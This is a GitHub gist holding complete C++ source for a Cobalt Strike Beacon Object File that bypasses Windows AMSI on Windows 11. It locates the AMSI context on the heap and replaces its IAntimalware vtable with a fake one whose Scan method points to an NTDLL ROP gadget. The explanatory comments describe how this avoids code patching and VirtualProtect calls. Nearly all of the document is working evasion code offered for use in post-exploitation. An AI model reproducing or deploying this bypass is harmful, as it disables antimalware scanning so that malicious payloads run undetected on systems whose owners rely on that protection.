Skip to content

Instantly share code, notes, and snippets.

@rxwx
Created November 30, 2023 17:04
Show Gist options
  • Save rxwx/eac3ae620b3c33abc4a538b5b9f3fce5 to your computer and use it in GitHub Desktop.
Save rxwx/eac3ae620b3c33abc4a538b5b9f3fce5 to your computer and use it in GitHub Desktop.
Bypass AMSI on Windows 11 by hooking the AMSI context VTable on the heap with a ROP gadget. Look ma, no code patches!
#include <Windows.h>
#include <Psapi.h>
#include <metahost.h>
#include <comutil.h>
#include <mscoree.h>
#include "patch_info.h"
#include "base\helpers.h"
/**
* For the debug build we want:
* a) Include the mock-up layer
* b) Undefine DECLSPEC_IMPORT since the mocked Beacon API
* is linked against the the debug build.
*/
#ifdef _DEBUG
#include "base\mock.h"
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#endif
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define BUFFER_SIZE 1024
// https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
typedef struct tagHAMSICONTEXT {
DWORD Signature;
PWCHAR AppName;
PVOID* Antimalware;
DWORD SessionCount;
} _HAMSICONTEXT, * _PHAMSICONTEXT;
typedef struct IAntimalwareVtbl {
PVOID QueryInterface;
PVOID AddRef;
PVOID Release;
PVOID Scan;
PVOID CloseSession;
// PVOID Notify;
// PVOID Destructor;
} FAKE_ANTIMALWARE_VTABLE, * PFAKE_ANTIMALWARE_VTABLE;
typedef struct IAntiMalwareInterface {
PFAKE_ANTIMALWARE_VTABLE lpVtbl;
} FAKE_ANTIMALWARE_INTERFACE, * PFAKE_ANTIMALWARE_INTERFACE;
namespace mscorlib {
#include "mscorlib.h"
}
extern "C" {
#include "beacon.h"
#include <cstdarg>
// https://stackoverflow.com/questions/496034/most-efficient-replacement-for-isbadreadptr
bool _IsBadReadPtr(void* p)
{
DFR_LOCAL(KERNEL32, VirtualQuery);
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (VirtualQuery(p, &mbi, sizeof(mbi)))
{
DWORD mask = (PAGE_READONLY | PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY);
bool b = !(mbi.Protect & mask);
// check the page is not a guard page
if (mbi.Protect & (PAGE_GUARD | PAGE_NOACCESS)) b = true;
return b;
}
return true;
}
mscorlib::_AppDomain* InitAppDomain(ICorRuntimeHost* pRuntimeHost, wchar_t* appDomainName)
{
DFR_LOCAL(OLE32, IIDFromString);
IUnknown* pAppDomainThunk = NULL;
mscorlib::_AppDomain* pDefaultAppDomain = NULL;
// Create a custom AppDomain to run in ..
HRESULT hr = pRuntimeHost->CreateDomain(appDomainName, nullptr, &pAppDomainThunk);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "pRuntimeHost->CreateDomain(...) failed with: 0x%x", hr);
return nullptr;
}
GUID IID_AppDomain;
IIDFromString(L"{05f696dc-2b29-3663-ad8b-c4389cf2a713}", &IID_AppDomain);
// Equivalent of System.AppDomain.CurrentDomain in C#
hr = pAppDomainThunk->QueryInterface(IID_AppDomain, (VOID**)&pDefaultAppDomain);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "pAppDomainThunk->QueryInterface(...) failed");
return nullptr;
}
return pDefaultAppDomain;
}
BOOL LoadAssembly(mscorlib::_AppDomain* pDefaultAppDomain, char* filePath)
{
DFR_LOCAL(OLEAUT32, SafeArrayCreate);
DFR_LOCAL(OLEAUT32, SafeArrayAccessData);
DFR_LOCAL(OLEAUT32, SafeArrayUnaccessData);
DFR_LOCAL(OLEAUT32, SafeArrayDestroy);
DFR_LOCAL(KERNEL32, CreateFileA);
DFR_LOCAL(KERNEL32, GetFileSize);
DFR_LOCAL(KERNEL32, ReadFile);
DFR_LOCAL(KERNEL32, CloseHandle);
DFR_LOCAL(KERNEL32, GetLastError);
DFR_LOCAL(MSVCRT, memset);
DFR_LOCAL(MSVCRT, free);
BOOL bSuccess = FALSE;
HANDLE hFile = nullptr;
DWORD bytesRead = 0;
DWORD dwFileSize = 0;
void* pvData = NULL;
SAFEARRAY* pSafeArray = NULL;
mscorlib::_Assembly* pAssembly = NULL;
// Open and get the file size
hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR, "Error opening file (%d)", GetLastError());
goto cleanup;
}
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
BeaconPrintf(CALLBACK_ERROR, "Error getting file size (%d)", GetLastError());
goto cleanup;
}
// Create an array to read the file into
SAFEARRAYBOUND rgsabound[1]{};
rgsabound[0].cElements = dwFileSize;
rgsabound[0].lLbound = 0;
pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
// Get a pointer to the array
HRESULT hr = SafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "[!] SafeArrayAccessData(...) failed\n");
goto cleanup;
}
// Read file into array
if (!ReadFile(hFile, pvData, dwFileSize, &bytesRead, NULL)) {
BeaconPrintf(CALLBACK_ERROR, "Error reading file (%d)", GetLastError());
goto cleanup;
}
// Decrement lock count on array
hr = SafeArrayUnaccessData(pSafeArray);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "SafeArrayUnaccessData(...) failed");
goto cleanup;
}
// Load the assembly
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "pDefaultAppDomain->Load_3(...) failed w/hr 0x%08lx", hr);
goto cleanup;
}
// zero out the pvData stored in the SAFEARRAY, we don't need it
RtlZeroMemory(pvData, bytesRead);
pvData = nullptr;
bSuccess = TRUE;
cleanup:
if (hFile != NULL)
CloseHandle(hFile);
if (pSafeArray != NULL)
{
SafeArrayDestroy(pSafeArray);
pSafeArray = nullptr;
}
return bSuccess;
}
void StartClr()
{
DFR_LOCAL(OLE32, CLSIDFromString);
DFR_LOCAL(OLE32, IIDFromString);
DFR_LOCAL(MSCOREE, CLRCreateInstance);
ICLRMetaHost* pMetaHost = NULL;
ICorRuntimeHost* pRuntimeHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
GUID CLSID_CLRMetaHost;
CLSIDFromString(L"{9280188d-0e8e-4867-b30c-7fa83884e8de}", &CLSID_CLRMetaHost);
GUID IID_ICLRMetaHost;
IIDFromString(L"{D332DB9E-B9B3-4125-8207-A14884F53216}", &IID_ICLRMetaHost);
GUID IID_ICLRRuntimeInfo;
IIDFromString(L"{bd39d1d2-ba2f-486a-89b0-b4b0cb466891}", &IID_ICLRRuntimeInfo);
GUID CLSID_CorRuntimeHost;
CLSIDFromString(L"{cb2f6723-ab3a-11d2-9c40-00c04fa30a3e}", &CLSID_CorRuntimeHost);
GUID IID_ICorRuntimeHost;
IIDFromString(L"{cb2f6722-ab3a-11d2-9c40-00c04fa30a3e}", &IID_ICorRuntimeHost);
GUID IID_AppDomain;
IIDFromString(L"{05f696dc-2b29-3663-ad8b-c4389cf2a713}", &IID_AppDomain);
HRESULT hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "CLRCreateInstance(...) failed");
goto cleanup;
}
// Get ICLRRuntimeInfo instance
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
if (FAILED(hr))
{
hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "pMetaHost->GetRuntime(...) failed");
goto cleanup;
}
}
// Check if the specified runtime can be loaded
BOOL bLoadable;
hr = pRuntimeInfo->IsLoadable(&bLoadable);
if (FAILED(hr) || !bLoadable)
{
BeaconPrintf(CALLBACK_ERROR, "pRuntimeInfo->IsLoadable(...) failed");
goto cleanup;
}
// Get ICorRuntimeHost instance
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "pRuntimeInfo->GetInterface(...) failed");
goto cleanup;
}
// Start the CLR
hr = pRuntimeHost->Start();
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "pRuntimeHost->Start() failed");
goto cleanup;
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] CLR Started ..");
mscorlib::_AppDomain* pAppDomain = InitAppDomain(pRuntimeHost, L"woot");
if (pAppDomain == nullptr) {
BeaconPrintf(CALLBACK_ERROR, "Error Loading AppDomain");
goto cleanup;
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] AppDomain Loaded ..");
if (LoadAssembly(pAppDomain, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe"))
{
BeaconPrintf(CALLBACK_OUTPUT, "[*] Assembly Loaded ..");
}
hr = pRuntimeHost->UnloadDomain(pAppDomain);
if (FAILED(hr))
{
BeaconPrintf(CALLBACK_ERROR, "Failed pRuntimeHost->UnloadDomain w/hr 0x%08lx\n", hr);
goto cleanup;
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] AppDomain Unloaded ..");
cleanup:
if (pMetaHost != NULL)
{
pMetaHost->Release();
pMetaHost = nullptr;
}
if (pRuntimeHost != NULL)
{
pRuntimeHost->Stop();
pRuntimeHost->Release();
pRuntimeHost = nullptr;
}
}
/*
* Bypasses AMSI by overwriting the AMSI context interface pointer with a fake vtable containing a ROP gadget.
* The AMSI context structure is stored on the heap and is RW. This structure contains a pointer to the IAntimalware COM interface.
* By overwriting this interface to point to a fake vtable, we can trick AMSI into calling our own Scan() method.
* Combining this with ROP we can create a fake vtable that has the Scan() method pointer pointing to a gadget that just returns *something*.
* Such gadgets exist in NTDLL and, as a bonus, are CFG compliant.
* Because we're not patching executable code, we never need to call VirtualProtect or modify shared pages.
*
* This works for inline-execute-assembly when AMSI is initialized (and the context cached) by clr.dll.
* In a real scenario you'd need to call this function after the CLR has been loaded to ensure we overwrite the cached AMSI context.
* If you clear down the CLR between each inline-execute-assembly run, then this would need to be done every time.
* For this demo BOF, we load the CLR first and call Load() on an assembly, to force the AMSI context to get cached.
*
* It's also important to know that on Windows 11, AMSI does not tag each context structure with the "AMSI" signature.
* This made it easy to bypass AMSI simply by corrupting this signature tag. However this doesn't appear to be possible in Windows 11.
* Hence this bypass was developed - which should work on both versions (tagged and non-tagged).
*/
BOOL AmsiContextBypass()
{
DFR_LOCAL(KERNEL32, GetLastError);
DFR_LOCAL(KERNEL32, GetProcessHeaps);
DFR_LOCAL(KERNEL32, HeapWalk);
DFR_LOCAL(KERNEL32, HeapAlloc);
DFR_LOCAL(KERNEL32, GetProcessHeap);
DFR_LOCAL(KERNEL32, DecodePointer);
DFR_LOCAL(KERNEL32, EncodePointer);
DFR_LOCAL(KERNEL32, LoadLibraryExW);
DFR_LOCAL(KERNEL32, GetProcAddress);
DFR_LOCAL(KERNEL32, K32GetModuleInformation);
DFR_LOCAL(MSVCRT, wcscmp);
HANDLE hHeap;
HRESULT Result = 0;
PHANDLE aHeaps = nullptr;
SIZE_T BytesToAllocate = 0;
BOOL patched = FALSE;
// Start the CLR and Load and assembly to force AMSI context cache
StartClr();
DWORD NumberOfHeaps = GetProcessHeaps(1, &hHeap);
if (NumberOfHeaps == 0) {
BeaconPrintf(CALLBACK_ERROR, "Error %d.", GetLastError());
return FALSE;
}
PROCESS_HEAP_ENTRY Entry{};
Entry.lpData = NULL;
// Get the address of AMSI.dll
HMODULE amsi = GetModuleHandleA("amsi");
if (amsi == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "AMSI DLL not loaded");
return FALSE;
}
MODULEINFO modInfo;
K32GetModuleInformation(NtCurrentProcess(), amsi, &modInfo, sizeof(modInfo));
// Get our fake AMSI IAntimalware->Scan() gadget
HMODULE ntdll = GetModuleHandleA("ntdll");
PVOID gadget = GetProcAddress(ntdll, "AlpcMaxAllowedMessageLength");
if (gadget == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Unable to resolve NTDLL gadget");
return FALSE;
}
// Create a fake interface and vtable containing the gadget
PFAKE_ANTIMALWARE_VTABLE fakeVtbl = (PFAKE_ANTIMALWARE_VTABLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(FAKE_ANTIMALWARE_VTABLE));
BeaconPrintf(CALLBACK_OUTPUT, "[*] Walking heap..");
while (HeapWalk(hHeap, &Entry) != FALSE) {
if (((Entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) && (Entry.cbData == sizeof(_HAMSICONTEXT))) {
_PHAMSICONTEXT ctx = (_PHAMSICONTEXT)Entry.lpData;
// we don't know for sure this is an AMSI context structure
// all we know so far is that the data is the right size
// .. so we need to do some validation checks
if (ctx != NULL && (ctx->Signature == NULL
|| ctx->Signature == 0x49534D41) && // validate the signature is "AMSI" or NULL (on Win11+)
!_IsBadReadPtr(ctx->AppName) && // validate that the AppName pointer is valid
!wcscmp(ctx->AppName, L"DotNet") && // validate that the AppName is DotNet (used by clr.dll!AmsiScan)
!_IsBadReadPtr(ctx->Antimalware) && // validate that the Antimalware interface pointer is valid
// validate that the interface vtable points inside AMSI.dll
(*(ULONG_PTR*)ctx->Antimalware > (ULONG_PTR)modInfo.lpBaseOfDll) &&
(*(ULONG_PTR*)ctx->Antimalware < ((ULONG_PTR)modInfo.lpBaseOfDll + modInfo.SizeOfImage)))
{
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found AMSI struct at heap address: %#llx", Entry.lpData);
BeaconPrintf(CALLBACK_OUTPUT, "[*] Found IAntimalware interface pointer at: %#llx (%#llx)", ctx->Antimalware, *ctx->Antimalware);
// now we need to fix our interface so it matches the real one
// i.e. add the real method pointers, such as AddRef, to our fake interface
PFAKE_ANTIMALWARE_INTERFACE targetVtbl = (PFAKE_ANTIMALWARE_INTERFACE)ctx->Antimalware;
fakeVtbl->QueryInterface = targetVtbl->lpVtbl->QueryInterface;
fakeVtbl->AddRef = targetVtbl->lpVtbl->AddRef;
fakeVtbl->Release = targetVtbl->lpVtbl->Release;
fakeVtbl->Scan = gadget;
fakeVtbl->CloseSession = targetVtbl->lpVtbl->CloseSession;
// finally, we can overwite Antimalware interface pointer with our fake one
targetVtbl->lpVtbl = fakeVtbl;
patched = TRUE;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Patched with gadget=%#llx, fake vtable=%#llx", gadget, fakeVtbl);
}
}
}
if (!patched)
{
BeaconPrintf(CALLBACK_ERROR, "Didn't find AMSI context structure. AMSI is probably not loaded, or it's already been patched.");
return FALSE;
}
return TRUE;
}
void go(char* args, int length) {
AmsiContextBypass();
}
}
// Define a main function for the debug build
#if defined(_DEBUG) && !defined(_GTEST)
int main(int argc, char* argv[]) {
// Run BOF's entrypoint
// To pack arguments for the bof use e.g.: bof::runMocked<int, short, const char*>(go, 6502, 42, "foobar");
bof::runMocked<>(go, 1, 0);
return 0;
}
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment